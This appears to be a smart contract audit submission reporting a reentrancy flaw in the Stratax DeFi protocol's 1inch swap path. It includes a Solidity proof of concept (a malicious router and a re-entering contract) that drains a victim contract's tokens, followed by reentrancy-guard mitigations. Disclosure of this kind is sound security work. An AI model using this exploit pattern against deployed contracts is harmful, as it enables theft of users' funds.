Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: medium

User-supplied 1inch swapData can route through malicious contracts and trigger reentrancy mid-swap

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: The protocol uses the 1inch aggregation router to swap tokens during open and unwind flows. The position owner passes _oneInchSwapData (calldata from the 1inch API or equivalent) so the contract can execute the swap on their behalf. The router address is set at initialization and trusted.

  • The swapData parameter is fully user-supplied (position owner supplies it in createLeveragedPosition and unwindPosition). It is forwarded as raw calldata to the 1inch router via a low-level call. The 1inch AggregationRouter is designed to execute arbitrary external calls as part of swap descriptions (e.g. DEX hops, executor callbacks). An attacker (malicious owner or compromised owner) can pass swapData that routes through a malicious token or contract that calls back into Stratax during the swap. The contract has no reentrancy guard, so a mid-swap reentrant call can drain funds (e.g. recoverTokens) or corrupt state.

// Stratax.sol — open flow: user-supplied swapData forwarded to router
// @> oneInchSwapData is supplied by caller (owner) and passed through unchanged
bytes memory encodedParams = abi.encode(OperationType.OPEN, msg.sender, params);
aavePool.flashLoanSimple(...);
// In callback:
_call1InchSwap(flashParams.oneInchSwapData, flashParams.borrowToken, flashParams.minReturnAmount);
// Stratax.sol — _call1InchSwap: low-level call with no validation of swap route
// @> Router can execute arbitrary calls from swap description; no reentrancy guard
function _call1InchSwap(bytes memory _swapParams, address _asset, uint256 _minReturnAmount)
internal
returns (uint256 returnAmount)
{
(bool success, bytes memory result) = address(oneInchRouter).call(_swapParams);
require(success, "1inch swap failed");
// ...
}

Risk

Likelihood:

  • The position owner (or an attacker who compromises the owner) controls the swapData. Off-chain 1inch API typically returns benign routes, but the owner can substitute custom calldata that encodes a route through a malicious contract (e.g. a custom "pool" or token that implements a callback).

  • 1inch routers accept swap descriptions that include executor-style or protocol calls to arbitrary addresses. Routing through a contract that re-enters Stratax is feasible.

Impact:

  • During the 1inch swap, a malicious contract in the route can re-enter Stratax (e.g. call recoverTokens, or in a different flow createLeveragedPosition / unwindPosition). The contract holds user collateral, borrowed tokens, or flash-loaned assets at that moment; recoverTokens can drain them to the owner (attacker).

  • Reentrancy can leave storage or accounting inconsistent (e.g. nested flash loan callback, double supply/withdraw assumptions), leading to stuck positions or further exploitation.

Proof of Concept

The PoC uses a minimal Victim contract that mirrors Stratax (router.call(userSuppliedSwapData), recoverTokens, no reentrancy guard). A MaliciousRouter implements executeCallback(target, data) so that user-supplied swapData can tell the "router" to call an arbitrary contract. The attacker supplies swapData that instructs the router to call ReenterContract.attack(victim, token, amount). That call re-enters Victim.recoverTokens and drains the victim's token balance to the owner (here the reenter contract, which then forwards to the attacker).

contract Victim {
address public router;
address public owner;
constructor(address _router) { router = _router; owner = msg.sender; }
function doSwap(bytes calldata swapData) external returns (uint256) {
(bool success, bytes memory result) = router.call(swapData); // @> user-supplied; no guard
require(success, "swap failed");
return result.length >= 64 ? abi.decode(result, (uint256)) : 0;
}
function recoverTokens(address token, uint256 amount) external {
require(msg.sender == owner, "Not owner");
IERC20(token).transfer(owner, amount);
}
}
contract MaliciousRouter {
function executeCallback(address target, bytes calldata data) external returns (bytes memory) {
(bool ok, bytes memory result) = target.call(data);
require(ok, "callback failed");
return result;
}
fallback() external payable returns (bytes memory) {
return abi.encode(uint256(1e18), uint256(1e18));
}
}
contract ReenterContract {
function attack(address victim, address token, uint256 amount) external {
Victim(victim).recoverTokens(token, amount);
}
// ... withdrawTo(attacker) to retrieve drained tokens
}
function test_PoC_SwapDataReentrancyDrainsTokens() public {
// Victim holds 500e18; owner set to reenterContract so recoverTokens sends there
bytes memory reenterCalldata = abi.encodeWithSelector(
ReenterContract.attack.selector, address(victim), address(token), 500e18
);
bytes memory swapData = abi.encodeWithSelector(
MaliciousRouter.executeCallback.selector, address(reenterContract), reenterCalldata
);
vm.prank(attacker);
victim.doSwap(swapData); // @> reentrancy: router calls ReenterContract -> victim.recoverTokens
assertEq(token.balanceOf(address(victim)), 0, "Victim drained mid-swap");
reenterContract.withdrawTo(attacker);
assertEq(token.balanceOf(attacker), 500e18, "Attacker received tokens");
}

Recommended Mitigation

  1. Add a reentrancy guard (e.g. OpenZeppelin ReentrancyGuard and nonReentrant modifier) on all external entry points that eventually call _call1InchSwap (createLeveragedPosition, unwindPosition), and on recoverTokens, so that mid-swap reentrancy is blocked.

  2. Where feasible, restrict what the swapData can do: e.g. validate that the 1inch router is only called with swap descriptions that do not include arbitrary executor calls, or use a dedicated router wrapper that only allows a whitelist of operations. This is protocol-specific and may require 1inch integration changes.

  3. As a defense-in-depth, ensure critical state changes (e.g. token transfers out via recoverTokens) follow checks-effects-interactions and consider a short lock or delay for recoverTokens so that it cannot be used in the same reentrant call stack as an in-flight swap.

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract Stratax is Initializable {
+ contract Stratax is Initializable, ReentrancyGuard {
function createLeveragedPosition(
...
- ) public onlyOwner {
+ ) public onlyOwner nonReentrant {
require(_collateralAmount > 0, "Collateral Cannot be Zero");
...
function unwindPosition(...)
- external onlyOwner {
+ external onlyOwner nonReentrant {
...
function recoverTokens(address _token, uint256 _amount)
- external onlyOwner {
+ external onlyOwner nonReentrant {
IERC20(_token).transfer(owner, _amount);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!